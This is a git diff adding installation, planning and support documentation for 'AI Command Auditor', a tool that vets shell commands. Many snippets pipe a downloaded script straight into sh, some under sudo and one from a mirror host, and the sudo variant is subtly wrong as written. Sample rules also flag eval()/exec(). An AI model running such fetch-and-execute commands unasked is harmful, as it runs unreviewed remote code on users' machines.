hooks +cp ~/.ai-auditor/hooks/pre-commit .git/hooks/ +chmod +x .git/hooks/pre-commit +``` + +## ๐ŸŒ Environment-Specific Installation + +### Ubuntu/Debian + +```bash +# Update package list +sudo apt update + +# Install Python and pip +sudo apt install python3 python3-pip python3-venv git curl + +# Install AI Command Auditor +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Add to PATH if needed +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc +``` + +### CentOS/RHEL/Fedora + +```bash +# Install dependencies +sudo dnf install python3 python3-pip git curl # Fedora +# sudo yum install python3 python3-pip git curl # CentOS/RHEL + +# Install AI Command Auditor +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +``` + +### macOS + +```bash +# Install Homebrew (if not installed) +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" + +# Install Python +brew install python@3.11 + +# Install AI Command Auditor +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +``` + +### Windows (WSL2) + +```bash +# In WSL2 terminal +# Update packages +sudo apt update + +# Install dependencies +sudo apt install python3 python3-pip git curl + +# Install AI Command Auditor +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Note: Windows paths might need special handling +# Add to ~/.bashrc +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +``` + +## ๐Ÿ”ง Post-Installation Configuration + +### API Key Setup + +```bash +# Set OpenAI API key +export OPENAI_API_KEY="your-api-key-here" + +# Add to shell profile for persistence +echo 'export OPENAI_API_KEY="your-api-key-here"' >> ~/.bashrc + +# Or use configuration file +ai-auditor config set ai.api_key "your-api-key-here" +``` + +### Project Initialization + +```bash +# Initialize in your project +cd your-project +ai-auditor init + +# Choose template based on project type +ai-auditor init --template python # Python projects +ai-auditor init --template nodejs # Node.js projects +ai-auditor init --template security # High-security environments +``` + +### Git Hooks Setup + +```bash +# Setup git hooks +ai-auditor setup-hooks + +# Verify hooks are installed +ls -la .git/hooks/ + +# Test hooks +ai-auditor test-hooks +``` + +## โ— Troubleshooting Installation + +### Common Issues + +**Permission denied errors:** + +```bash +# Use sudo for system-wide installation +sudo curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Or install to user directory +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --user-install +``` + +**Python version too old:** + +```bash +# Check Python version +python3 --version + +# Install newer Python (Ubuntu/Debian) +sudo apt install python3.10 + +# Install newer Python (macOS) +brew install python@3.10 +``` + +**Command not found after installation:** + +```bash +# Check if installed +which ai-auditor + +# Add to PATH +export PATH="$HOME/.local/bin:$PATH" + +# Or find installation location +find / -name "ai-auditor" 2>/dev/null +``` + +**Network/download issues:** + +```bash +# Try manual download +wget https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh +chmod +x install.sh +./install.sh + +# Or use alternative mirror +curl -fsSL https://cdn.etherisc.com/ai-command-auditor/install.sh | sh +``` + +### Getting Help + +If you encounter issues: + +1. Check our [Troubleshooting Guide](/support/troubleshooting/) +2. Search [GitHub Issues](https://github.com/etherisc/ai-command-auditor/issues) +3. Ask on [GitHub Discussions](https://github.com/etherisc/ai-command-auditor/discussions) +4. Contact [Support](/support/) + +## ๐Ÿ“š Next Steps + +After successful installation: + +- ๐Ÿ“– [Configure AI Command Auditor](/configuration/) for your project +- ๐ŸŽฏ [Follow the Tutorial](/examples/tutorial/) to learn the basics +- ๐Ÿ”Œ [Explore CLI Commands](/api/cli/) for advanced usage +- ๐Ÿ’ก [Browse Examples](/examples/) for your specific use case + + diff --git a/docs/planning/task-planning/task-8-devcontainer-integration.md b/docs/planning/task-planning/task-8-devcontainer-integration.md index 7b1df89..1c2a84f 100644 --- a/docs/planning/task-planning/task-8-devcontainer-integration.md +++ b/docs/planning/task-planning/task-8-devcontainer-integration.md @@ -304,7 +304,7 @@ This approach provides maximum flexibility while maintaining ease of use, making | 8.1 | **Package Structure Refactoring** - Refactor current codebase into proper Python package structure with setup.py, CLI interface, and modular components | Python package installable via pip, CLI commands functional (`ai-auditor --help`), modular structure with core/analysis/cli modules | Complete | | 8.2 | **CLI Interface Development** - Create comprehensive CLI with init, setup-hooks, check-command, validate-setup commands | All CLI commands work: `ai-auditor init`, `ai-auditor setup-hooks`, `ai-auditor check-command "test"`, `ai-auditor validate-setup` | Complete | | 8.3 | **Configuration Template System** - Create user-accessible configuration directory structure with templates for different project types | `.ai-auditor/` directory created with config/, rules/, prompts/, hooks/ subdirectories, templates for python/node/rust/general setups | โœ… Complete | -| 8.4 | **Installer Script Creation** - Develop GitHub-hosted installer script that sets up the tool in any project | `install.sh` script works: downloads package, creates config directory, sets up hooks, verifies installation | Open | +| 8.4 | **Installer Script Creation** - Develop GitHub-hosted installer script that sets up the tool in any project | `install.sh` script works: downloads package, creates config directory, sets up hooks, verifies installation | โœ… Complete | | 8.5 | **GitHub Pages Documentation** - Create comprehensive documentation site with installation guides and configuration examples | GitHub Pages site live at `etherisc.github.io/ai-command-auditor` with complete installation and configuration docs | Open | | 8.6 | **PyPI Package Publishing** - Setup automated PyPI publishing via GitHub Actions and prepare package for distribution | Package published to PyPI as `ai-command-auditor`, GitHub Actions workflow for automated publishing working | Open | | 8.7 | **Integration Testing** - Test the complete installation and setup process across different project types and environments | Installation tested on clean environments, works with Python/Node.js/Rust projects, devcontainer integration verified | Open | diff --git a/docs/planning/task-planning/task-8.5-github-pages-documentation.md b/docs/planning/task-planning/task-8.5-github-pages-documentation.md new file mode 100644 index 0000000..cffbc25 --- /dev/null +++ b/docs/planning/task-planning/task-8.5-github-pages-documentation.md @@ -0,0 +1,533 @@ +# Task 8.5: GitHub Pages Documentation + +## Overview + +Task 8.5 focuses on creating a comprehensive GitHub Pages documentation site for AI Command Auditor. This will provide users with installation guides, configuration examples, API documentation, and troubleshooting resources. The documentation site will serve as the primary resource for users adopting the tool. + +## Task Breakdown + +| Sub-task | Task Description | Definition of Done | Status | +|----------|------------------|-------------------|--------| +| 8.5.1 | **GitHub Pages Setup** - Configure GitHub Pages with Jekyll, create site structure, and establish documentation framework | GitHub Pages site accessible at `etherisc.github.io/ai-command-auditor`, Jekyll configuration working, basic site structure created | Complete | +| 8.5.2 | **Installation Documentation** - Create comprehensive installation guides for different scenarios and environments | Complete installation guides for one-line installer, pip installation, devcontainer integration, and manual setup with examples | Complete | +| 8.5.3 | **Configuration Documentation** - Document all configuration options, templates, and customization capabilities | Complete documentation of config files, template system, security rules, AI prompts, and customization examples | Complete | +| 8.5.4 | **API and CLI Documentation** - Create detailed API reference and CLI command documentation | Complete CLI command reference, Python API documentation, and integration examples for developers | Complete | +| 8.5.5 | **Examples and Tutorials** - Create practical examples, tutorials, and troubleshooting guides | Working examples for common use cases, step-by-step tutorials, troubleshooting guide, and FAQ section | Complete | + +## Detailed Requirements + +### 8.5.1 GitHub Pages Setup + +**Objective**: Establish the documentation site infrastructure using Jekyll + +**Implementation Details**: + +- Configure GitHub Pages in repository settings +- Create Jekyll-based documentation site with modern theme +- Establish site structure and navigation +- Configure custom domain if desired +- Set up automated deployment + +**Site Structure**: + +``` +docs/ +โ”œโ”€โ”€ _config.yml # Jekyll configuration +โ”œโ”€โ”€ index.md # Homepage +โ”œโ”€โ”€ _layouts/ +โ”‚ โ”œโ”€โ”€ default.html # Base layout +โ”‚ โ”œโ”€โ”€ page.html # Page layout +โ”‚ โ””โ”€โ”€ post.html # Post layout +โ”œโ”€โ”€ _includes/ +โ”‚ โ”œโ”€โ”€ header.html # Site header +โ”‚ โ”œโ”€โ”€ footer.html # Site footer +โ”‚ โ””โ”€โ”€ navigation.html # Navigation menu +โ”œโ”€โ”€ assets/ +โ”‚ โ”œโ”€โ”€ css/ +โ”‚ โ”œโ”€โ”€ js/ +โ”‚ โ””โ”€โ”€ images/ +โ”œโ”€โ”€ installation/ +โ”‚ โ””โ”€โ”€ index.md # Installation guides +โ”œโ”€โ”€ configuration/ +โ”‚ โ””โ”€โ”€ index.md # Configuration docs +โ”œโ”€โ”€ api/ +โ”‚ โ””โ”€โ”€ index.md # API documentation +โ”œโ”€โ”€ examples/ +โ”‚ โ””โ”€โ”€ index.md # Examples and tutorials +โ””โ”€โ”€ troubleshooting/ + โ””โ”€โ”€ index.md # Troubleshooting guide +``` + +**Jekyll Configuration**: + +- Modern, responsive theme (minimal-mistakes or similar) +- Syntax highlighting for code examples +- Search functionality +- Social media integration +- Analytics setup + +**DoD**: + +- [ ] GitHub Pages site accessible at URL +- [ ] Jekyll builds successfully without errors +- [ ] Site navigation working across all pages +- [ ] Responsive design working on mobile and desktop +- [ ] Basic page structure and layouts created + +### 8.5.2 Installation Documentation + +**Objective**: Comprehensive installation guides for all use cases + +**Implementation Details**: +Create detailed installation documentation covering: + +**Quick Start Guide**: + +```markdown +# Quick Start + +## One-Line Installation +bash +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + + +## Verify Installation +bash +ai-auditor --version +ai-auditor check-command "echo hello" + +``` + +**Installation Methods**: + +1. **One-Line Installer** (Primary) + - Basic installation + - Custom options and flags + - Environment detection + - Troubleshooting common issues + +2. **Python Package Installation** + - pip install method + - Virtual environment setup + - Development installation + - Requirements and dependencies + +3. **Devcontainer Integration** + - Dockerfile modifications + - devcontainer.json configuration + - Post-create commands + - Volume mounting considerations + +4. **Manual Installation** + - Step-by-step manual setup + - Git clone and local installation + - Configuration file setup + - Git hooks manual configuration + +**Environment-Specific Guides**: + +- Ubuntu/Debian systems +- macOS installation +- Windows WSL2 setup +- Docker container environments +- GitHub Codespaces integration + +**DoD**: + +- [ ] Complete installation guide for each method +- [ ] Working code examples for all installation types +- [ ] Environment-specific instructions +- [ ] Troubleshooting section for common installation issues +- [ ] Prerequisites and system requirements documented + +### 8.5.3 Configuration Documentation + +**Objective**: Complete documentation of all configuration options + +**Implementation Details**: + +**Configuration Overview**: + +- Directory structure explanation +- File purposes and relationships +- Configuration hierarchy and precedence +- Best practices for customization + +**Main Configuration (`auditor.yml`)**: + +```yaml +# Example configuration with comments +ai: + model: "gpt-4o" # AI model selection + timeout: 30 # Request timeout + max_retries: 3 # Retry attempts + +security: + max_command_length: 1000 # Command length limit + allow_multiline: false # Multiline command policy + strict_mode: false # Strict validation mode + +logging: + level: "INFO" # Log level + file: ".ai-auditor/logs/auditor.log" # Log file path +``` + +**Security Rules Documentation**: + +- Rule syntax and patterns +- Severity levels and actions +- Custom rule creation +- Regular expression patterns +- Examples for common scenarios + +**AI Prompts Configuration**: + +- Prompt templates and variables +- Custom prompt creation +- Context injection methods +- Prompt optimization techniques + +**Template System**: + +- Available templates (python, node, rust, general, security) +- Template customization +- Creating custom templates +- Template inheritance and overrides + +**Git Hooks Configuration**: + +- Hook types and purposes +- Custom hook development +- Integration with pre-commit +- Hook customization options + +**DoD**: + +- [ ] Complete configuration reference +- [ ] All configuration files documented with examples +- [ ] Template system fully explained +- [ ] Security rules reference with examples +- [ ] AI prompts documentation with customization guide + +### 8.5.4 API and CLI Documentation + +**Objective**: Complete technical reference for developers + +**Implementation Details**: + +**CLI Command Reference**: +Create comprehensive documentation for all CLI commands: + +```markdown +## ai-auditor init + +Initialize AI Command Auditor in current project. + +### Usage +bash +ai-auditor init [OPTIONS] + + +### Options +- `--template TYPE`: Template to use (python, node, rust, general, security) +- `--config-dir PATH`: Custom configuration directory (default: .ai-auditor) +- `--environment ENV`: Environment setting (development, staging, production) +- `--security-level LEVEL`: Security level (basic, standard, strict) +- `--force`: Force overwrite existing configuration +- `--dry-run`: Show what would be done without executing + +### Examples +bash +# Basic initialization +ai-auditor init + +# Python project with strict security +ai-auditor init --template python --security-level strict + +# Custom configuration directory +ai-auditor init --config-dir .auditor --template node + +``` + +**Python API Documentation**: + +- Core module documentation +- Integration examples +- Custom validator development +- Plugin system documentation +- Error handling and exceptions + +**Integration Patterns**: + +- CI/CD integration examples +- Pre-commit hook integration +- GitHub Actions integration +- Custom workflow integration + +**Developer Guide**: + +- Contributing guidelines +- Development setup +- Testing procedures +- Release process + +**DoD**: + +- [ ] Complete CLI command reference +- [ ] Python API documentation with examples +- [ ] Integration patterns documented +- [ ] Developer contribution guide +- [ ] Code examples for all major use cases + +### 8.5.5 Examples and Tutorials + +**Objective**: Practical guides and examples for common use cases + +**Implementation Details**: + +**Getting Started Tutorial**: +Step-by-step tutorial for new users: + +1. Installation +2. First command check +3. Configuration customization +4. Git hooks setup +5. CI integration + +**Use Case Examples**: + +**Python Project Setup**: + +```markdown +# Python Project Integration + +## 1. Install AI Command Auditor +bash +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template python + + +## 2. Customize Python Rules +Edit `.ai-auditor/config/rules/security-rules.yml`: +yaml +python_specific: + - pattern: "eval\\(" + severity: "critical" + message: "Use of eval() is dangerous" + + - pattern: "exec\\(" + severity: "high" + message: "Use of exec() should be avoided" + + +## 3. Test Configuration +bash +ai-auditor check-command "python -c 'eval(input())'" + +``` + +**Node.js Project Example**: + +- Package.json integration +- npm script hooks +- ESLint integration +- Security rules for Node.js + +**DevOps Integration Examples**: + +- Docker integration +- Kubernetes deployment validation +- Infrastructure as Code checks +- CI/CD pipeline integration + +**Advanced Configuration Examples**: + +- Custom security rules +- AI prompt customization +- Multi-environment setups +- Team configuration management + +**Troubleshooting Guide**: + +- Common installation issues +- Configuration problems +- Performance troubleshooting +- Integration conflicts +- Debug mode usage + +**FAQ Section**: + +- Installation questions +- Configuration questions +- Integration questions +- Performance questions +- Security questions + +**DoD**: + +- [ ] Complete getting started tutorial +- [ ] Use case examples for major languages/frameworks +- [ ] Advanced configuration examples +- [ ] Comprehensive troubleshooting guide +- [ ] FAQ section covering common questions + +## Technical Implementation + +### Site Architecture + +``` +GitHub Pages Site Structure: +โ”œโ”€โ”€ Home Page +โ”‚ โ”œโ”€โ”€ Quick start +โ”‚ โ”œโ”€โ”€ Feature highlights +โ”‚ โ””โ”€โ”€ Installation CTA +โ”œโ”€โ”€ Installation +โ”‚ โ”œโ”€โ”€ Quick start +โ”‚ โ”œโ”€โ”€ Advanced installation +โ”‚ โ”œโ”€โ”€ Environment guides +โ”‚ โ””โ”€โ”€ Troubleshooting +โ”œโ”€โ”€ Configuration +โ”‚ โ”œโ”€โ”€ Overview +โ”‚ โ”œโ”€โ”€ File reference +โ”‚ โ”œโ”€โ”€ Templates +โ”‚ โ””โ”€โ”€ Customization +โ”œโ”€โ”€ API Reference +โ”‚ โ”œโ”€โ”€ CLI commands +โ”‚ โ”œโ”€โ”€ Python API +โ”‚ โ”œโ”€โ”€ Integration +โ”‚ โ””โ”€โ”€ Developer guide +โ”œโ”€โ”€ Examples +โ”‚ โ”œโ”€โ”€ Tutorials +โ”‚ โ”œโ”€โ”€ Use cases +โ”‚ โ”œโ”€โ”€ Advanced examples +โ”‚ โ””โ”€โ”€ Best practices +โ””โ”€โ”€ Support + โ”œโ”€โ”€ Troubleshooting + โ”œโ”€โ”€ FAQ + โ”œโ”€โ”€ Community + โ””โ”€โ”€ Contributing +``` + +### Jekyll Configuration + +```yaml +# _config.yml +title: "AI Command Auditor" +description: "Secure command validation and analysis for development workflows" +url: "https://etherisc.github.io" +baseurl: "/ai-command-auditor" + +# Theme and plugins +theme: minimal-mistakes-jekyll +plugins: + - jekyll-sitemap + - jekyll-feed + - jekyll-seo-tag + - jekyll-redirect-from + +# Navigation +navigation: + - title: "Installation" + url: /installation/ + - title: "Configuration" + url: /configuration/ + - title: "API Reference" + url: /api/ + - title: "Examples" + url: /examples/ + - title: "Support" + url: /support/ + +# SEO and social +github_username: etherisc +twitter_username: etherisc +``` + +### Content Strategy + +**Writing Guidelines**: + +- Clear, concise language +- Step-by-step instructions +- Working code examples +- Screenshots where helpful +- Mobile-friendly formatting + +**Code Example Standards**: + +- All examples tested and working +- Clear comments and explanations +- Multiple language examples where applicable +- Copy-paste friendly formatting + +**Navigation Design**: + +- Logical information hierarchy +- Quick access to common tasks +- Search functionality +- Mobile-responsive design + +## Success Criteria + +- [ ] GitHub Pages site live and accessible +- [ ] Complete installation documentation for all methods +- [ ] Comprehensive configuration reference +- [ ] Full CLI and API documentation +- [ ] Practical examples and tutorials +- [ ] Search functionality working +- [ ] Mobile-responsive design +- [ ] Fast page load times (<3 seconds) +- [ ] SEO optimized for discovery + +## Dependencies + +### External Dependencies + +- **GitHub Pages**: Hosting platform +- **Jekyll**: Static site generator +- **Minimal Mistakes**: Jekyll theme (or similar) +- **GitHub Actions**: Automated deployment + +### Internal Dependencies + +- **install.sh**: Installer script (Task 8.4) โœ… +- **CLI commands**: All CLI functionality (Task 8.2) โœ… +- **Configuration system**: Template system (Task 8.3) โœ… + +## Risk Assessment + +### Low Risk Areas + +- **GitHub Pages setup**: Well-documented process +- **Jekyll configuration**: Mature tooling +- **Content creation**: Straightforward documentation + +### Medium Risk Areas + +- **Content organization**: Balancing completeness with usability +- **Search functionality**: Implementation complexity +- **Mobile responsiveness**: Cross-device compatibility + +### Mitigation Strategies + +- Start with simple structure, iterate based on feedback +- Use proven Jekyll themes with built-in search +- Test on multiple devices during development +- Get user feedback early and often + +## Timeline Estimate + +**Total Estimated Effort**: 2-3 implementation sessions + +**Session 1**: GitHub Pages setup and basic structure (8.5.1, 8.5.2) +**Session 2**: Configuration and API documentation (8.5.3, 8.5.4) +**Session 3**: Examples, tutorials, and polish (8.5.5) + +## Implementation Notes + +- Use minimal-mistakes Jekyll theme for professional appearance +- Implement search functionality for easy navigation +- Include copy-to-clipboard functionality for code examples +- Add social media sharing and GitHub integration +- Optimize for SEO to improve discoverability +- Ensure all examples are tested and working +- Include feedback mechanism for continuous improvement diff --git a/docs/support/index.md b/docs/support/index.md new file mode 100644 index 0000000..3e7b0e1 --- /dev/null +++ b/docs/support/index.md @@ -0,0 +1,449 @@ +--- +layout: single +title: "Support & Help" +description: "Get help, find answers, and connect with the community" +toc: true +toc_label: "Support Topics" +toc_icon: "question-circle" +sidebar: + nav: "docs" +--- + +# ๐Ÿ†˜ Support & Help + +Need help with AI Command Auditor? You're in the right place! Find answers to common questions, troubleshooting guides, and ways to connect with our community. + +## ๐Ÿ” Quick Help + +
+
+

โ“ FAQ

+

Frequently asked questions and quick answers

+ View FAQ +
+ +
+

๐Ÿ”ง Troubleshooting

+

Common issues and step-by-step solutions

+ Get Help +
+ +
+

๐Ÿ‘ฅ Community

+

Connect with other users and developers

+ Join Community +
+ +
+

๐Ÿค Contributing

+

Help improve AI Command Auditor

+ Contribute +
+
+ +## ๐Ÿšจ Common Issues + +### Installation Problems + +**Issue**: Installation script fails with permission errors + +```bash +# Solution: Use sudo or install to user directory +sudo curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Or install to user directory +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --user-install +``` + +**Issue**: Python version incompatibility + +```bash +# Check Python version +python3 --version + +# Update Python (Ubuntu/Debian) +sudo apt update && sudo apt install python3.10 + +# Update Python (macOS) +brew install python@3.10 +``` + +**Issue**: Command not found after installation + +```bash +# Add to PATH manually +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc + +# Or reinstall with global flag +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --global +``` + +### Configuration Issues + +**Issue**: AI API calls failing + +```bash +# Check API key +echo $OPENAI_API_KEY + +# Set API key if missing +export OPENAI_API_KEY="your-api-key-here" + +# Test API connection +ai-auditor check-command "echo test" --debug +``` + +**Issue**: Git hooks not working + +```bash +# Reinstall hooks +ai-auditor setup-hooks --force + +# Check hook permissions +ls -la .git/hooks/pre-commit + +# Make executable if needed +chmod +x .git/hooks/pre-commit +``` + +**Issue**: Configuration validation errors + +```bash +# Validate configuration +ai-auditor config validate + +# Reset to defaults +ai-auditor config reset + +# Use a working template +ai-auditor config reset --template python +``` + +### Performance Issues + +**Issue**: Slow command validation + +```bash +# Enable caching +ai-auditor config set performance.cache_enabled true + +# Reduce parallel requests +ai-auditor config set performance.parallel_requests 1 + +# Use faster AI model +ai-auditor config set ai.model "gpt-3.5-turbo" +``` + +**Issue**: High memory usage + +```bash +# Clear cache +ai-auditor cache clear + +# Disable verbose logging +ai-auditor config set logging.level "WARNING" + +# Reduce batch size +ai-auditor config set performance.batch_size 5 +``` + +## ๐Ÿ’ฌ Frequently Asked Questions + +### General Questions + +**Q: Is AI Command Auditor free to use?** +A: Yes! AI Command Auditor is open source and free to use. However, you'll need an API key for the AI service (like OpenAI), which may have costs associated with usage. + +**Q: What AI models are supported?** +A: We support OpenAI models (GPT-3.5, GPT-4), Anthropic Claude, and other OpenAI-compatible APIs. You can configure the model in the settings. + +**Q: Can I use it offline?** +A: The core validation rules work offline, but AI-powered analysis requires internet connectivity for API calls. + +**Q: Is my data sent to AI services?** +A: Only the commands you're validating are sent to the AI service for analysis. No other data from your system is transmitted. + +### Installation Questions + +**Q: Which operating systems are supported?** +A: Linux, macOS, and Windows (via WSL2) are officially supported. Most Unix-like systems should work. + +**Q: Do I need admin/root privileges?** +A: No, you can install to your user directory. Admin privileges are only needed for system-wide installation. + +**Q: Can I install without internet?** +A: The installer requires internet to download components. For offline environments, you'll need to manually transfer the installation files. + +### Configuration Questions + +**Q: How do I customize security rules?** +A: Edit `.ai-auditor/config/rules/security-rules.yml` or use `ai-auditor config set` commands. See the [Configuration Guide](/configuration/). + +**Q: Can I disable certain validations?** +A: Yes, you can adjust severity thresholds, disable specific rules, or use different templates. See the configuration documentation. + +**Q: How do I share configuration across a team?** +A: Commit the `.ai-auditor/config/` directory to your repository. Team members will inherit the shared configuration. + +### Usage Questions + +**Q: Can I validate entire scripts?** +A: Yes, use `ai-auditor scan-file script.sh` or `ai-auditor scan-directory scripts/` to validate multiple commands or files. + +**Q: How accurate is the AI analysis?** +A: AI analysis is very good at detecting common dangerous patterns but isn't 100% perfect. Combine it with custom rules for best results. + +**Q: Can I integrate with CI/CD?** +A: Absolutely! We provide examples for GitHub Actions, GitLab CI, Jenkins, and other platforms. See the [Examples](/examples/) section. + +## ๐Ÿ› ๏ธ Getting Help + +### Before Asking for Help + +1. **Check the documentation**: Look through our comprehensive guides +2. **Search existing issues**: Your question might already be answered +3. **Try troubleshooting**: Use our troubleshooting guides +4. **Enable debug mode**: Get more detailed error information + +```bash +# Enable debug logging +ai-auditor config set logging.level "DEBUG" + +# Run with verbose output +ai-auditor check-command "your command" --debug --verbose + +# Check system information +ai-auditor system-info +``` + +### How to Report Issues + +When reporting issues, please include: + +1. **AI Command Auditor version**: `ai-auditor --version` +2. **Operating system**: `uname -a` +3. **Python version**: `python3 --version` +4. **Error message**: Full error output +5. **Steps to reproduce**: What you were trying to do +6. **Configuration**: Relevant config snippets (sanitized) + +### Where to Get Help + +
+
+

๐Ÿ› Bug Reports

+

Found a bug? Report it on GitHub Issues

+ Report Bug +
+ +
+

๐Ÿ’ก Feature Requests

+

Have an idea for improvement?

+ Request Feature +
+ +
+

๐Ÿ’ฌ Discussions

+

General questions and community chat

+ Join Discussion +
+ +
+

๐Ÿ“ง Email Support

+

Direct support for enterprise users

+ Contact Support +
+
+ +## ๐Ÿค Community + +### Join Our Community + +- **GitHub Discussions**: Ask questions, share examples, get help +- **Discord Server**: Real-time chat with developers and users +- **Monthly Meetups**: Virtual meetups with demos and Q&A +- **Newsletter**: Updates, tips, and feature announcements + +### Community Guidelines + +1. **Be respectful**: Treat everyone with kindness and respect +2. **Stay on topic**: Keep discussions relevant to AI Command Auditor +3. **Help others**: Share your knowledge and experience +4. **Search first**: Check if your question has been asked before +5. **Provide context**: Include relevant details when asking questions + +### Contributing to the Community + +- **Answer questions**: Help other users in discussions +- **Share examples**: Contribute usage examples and tutorials +- **Write documentation**: Improve our guides and documentation +- **Report bugs**: Help us improve by reporting issues +- **Spread the word**: Tell others about AI Command Auditor + +## ๐Ÿ“š Additional Resources + +### Documentation + +- ๐Ÿ“– [Complete Documentation](/docs/) - Full documentation +- ๐Ÿš€ [Getting Started](/installation/) - Installation and quick start +- โš™๏ธ [Configuration Guide](/configuration/) - Detailed configuration +- ๐Ÿ”Œ [API Reference](/api/) - CLI and Python API +- ๐Ÿ’ก [Examples](/examples/) - Practical examples and tutorials + +### External Resources + +- **GitHub Repository**: Source code and issues +- **Release Notes**: What's new in each version +- **Roadmap**: Planned features and improvements +- **Security Policy**: How we handle security issues +- **License**: MIT License details + +### Training and Tutorials + +- **Video Tutorials**: Step-by-step video guides (coming soon) +- **Webinars**: Live training sessions (monthly) +- **Workshop Materials**: Hands-on workshop content +- **Certification**: AI Command Auditor certification program (planned) + +## ๐Ÿ” Security and Privacy + +### Security Issues + +If you discover a security vulnerability, please: + +1. **DO NOT** open a public issue +2. Email us at +3. Include details about the vulnerability +4. Allow time for us to address the issue + +### Privacy Policy + +- We don't collect personal data from the tool +- Commands sent to AI services are processed according to their privacy policies +- Local configuration and logs stay on your system +- See our full [Privacy Policy](https://etherisc.com/privacy) for details + +## ๐Ÿ“ž Enterprise Support + +Need enterprise-level support? We offer: + +- **Priority Support**: Faster response times +- **Custom Integration**: Help with complex setups +- **Training**: Team training and workshops +- **SLA Agreements**: Service level guarantees +- **Custom Development**: Feature development for your needs + +Contact us at for more information. + +## โญ Show Your Support + +Love AI Command Auditor? Here's how you can support the project: + +- โญ **Star the project** on GitHub +- ๐Ÿ› **Report bugs** and issues +- ๐Ÿ’ก **Suggest features** and improvements +- ๐Ÿ“– **Improve documentation** +- ๐Ÿ—ฃ๏ธ **Spread the word** to other developers +- ๐Ÿ’ฐ **Sponsor the project** (GitHub Sponsors) + +
+

Ready to Get Help?

+

Choose the best option for your needs:

+ +
+ +